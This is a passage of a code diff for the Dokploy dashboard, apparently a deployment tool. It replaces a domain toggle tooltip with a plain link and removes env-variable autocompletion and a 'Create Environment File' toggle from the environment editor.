-																		/>
-																	</div>
-																</TooltipTrigger>
-																<TooltipContent>
-																	<p>
-																		{item.enabled
-																			? "Domain is active. Toggle to disable routing without deleting it."
-																			: "Domain is disabled and not routed. Toggle to enable it again."}
-																	</p>
-																</TooltipContent>
-															</Tooltip>
-														</TooltipProvider>
-													)}
+												<div className="w-full break-all">
+													<Link
+														className="flex items-center gap-2 text-base font-medium hover:underline"
+														target="_blank"
+														href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
+													>
+														{item.host}
+														<ExternalLink className="size-4 min-w-4" />
+													</Link>
 												</div>
 
 												{/* Domain Details */}
@@ -676,10 +619,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 																</Badge>
 															</TooltipTrigger>
 															<TooltipContent className="max-w-xs">
-																{validationState?.isValid &&
-																validationState?.message ? (
-																	<p>{validationState.message}</p>
-																) : validationState?.error ? (
+																{validationState?.error ? (
 																	<div className="flex flex-col gap-1">
 																		<p className="font-medium text-red-500">
 																			Error:

apps/dokploy/components/dashboard/application/environment/show-environment.tsx

@@ -5,7 +5,6 @@ import { useForm } from "react-hook-form";
 import { toast } from "sonner";
 import { z } from "zod";
 import { CodeEditor } from "@/components/shared/code-editor";
-import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
 import { Button } from "@/components/ui/button";
 import {
 	Card,
@@ -17,20 +16,16 @@ import {
 import {
 	Form,
 	FormControl,
-	FormDescription,
 	FormField,
 	FormItem,
-	FormLabel,
 	FormMessage,
 } from "@/components/ui/form";
-import { Switch } from "@/components/ui/switch";
 import { Toggle } from "@/components/ui/toggle";
 import { api } from "@/utils/api";
 import type { ServiceType } from "../advanced/show-resources";
 
 const addEnvironmentSchema = z.object({
 	environment: z.string(),
-	createEnvFile: z.boolean(),
 });
 
 type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@@ -59,12 +54,6 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 		? queryMap[type]()
 		: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
 	const [isEnvVisible, setIsEnvVisible] = useState(true);
-	const completionSource = useEnvCompletionSource({
-		projectEnv: data?.environment?.project?.env,
-		environmentEnv: data?.environment?.env,
-		projectId: data?.environment?.projectId,
-		environmentId: data?.environment?.environmentId,
-	});
 
 	const mutationMap = {
 		compose: () => api.compose.saveEnvironment.useMutation(),
@@ -82,32 +71,18 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const form = useForm<EnvironmentSchema>({
 		defaultValues: {
 			environment: "",
-			createEnvFile: true,
 		},
 		resolver: zodResolver(addEnvironmentSchema),
 	});
 
 	// Watch form value
 	const currentEnvironment = form.watch("environment");
-	const currentCreateEnvFile = form.watch("createEnvFile");
-	const composeData =
-		type === "compose"
-			? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
-			: undefined;
-
-	const showCreateEnvFileToggle =
-		type === "compose" &&
-		(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
-	const hasChanges =
-		currentEnvironment !== (data?.env || "") ||
-		(showCreateEnvFileToggle &&
-			currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
+	const hasChanges = currentEnvironment !== (data?.env || "");
 
 	useEffect(() => {
 		if (data) {
 			form.reset({
 				environment: data.env || "",
-				createEnvFile: composeData?.createEnvFile ?? true,
 			});
 		}
 	}, [data, form]);
@@ -122,9 +97,6 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 			postgresId: id || "",
 			redisId: id || "",
 			env: formData.environment,
-			...(type === "compose" && {
-				createEnvFile: formData.createEnvFile,
-			}),
 		})
 			.then(async () => {
 				toast.success("Environments Added");
@@ -138,7 +110,6 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 	const handleCancel = () => {
 		form.reset({
 			environment: data?.env || "",
-			createEnvFile: composeData?.createEnvFile ?? true,
 		});
 	};
 
@@ -205,7 +176,6 @@ export const ShowEnvironment = ({ id, type }: Props) => {
 													} as CSSProperties
 												}
 												language="properties"
-												completionSource={completionSource}
 												disabled={isEnvVisible}
 												className="font-mono"
 												wrapperClassName="compose-file-editor"
@@ -220,34 +190,6 @@ PORT=3000
 								)}
 							/>
 
-							{showCreateEnvFileToggle && (
-								<FormField
-									control={form.control}
-									name="createEnvFile"
-									render={({ field }) => (
-										<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
-											<div className="space-y-0.5">
-												<FormLabel>Create Environment File</FormLabel>
-												<FormDescription>
-													When enabled, an .env file will be created in the same
-													directory as your compose file on every deploy.
-													Disable this to keep a repository-provided .env; the
-													variables above will then be ignored. Takes effect on
-													the next deploy.
-												</FormDescription>
-											</div>
-											<FormControl>
-												<Switch
-													checked={field.value}
-													onCheckedChange={field.onChange}
-													disabled={!canWrite}
-												/>
-											</FormControl>
-										</FormItem>
-									)}
-								/>
-							)}
-
 							{canWrite && (
 								<div className="flex flex-row justify-end gap-2">
 									{hasChanges && (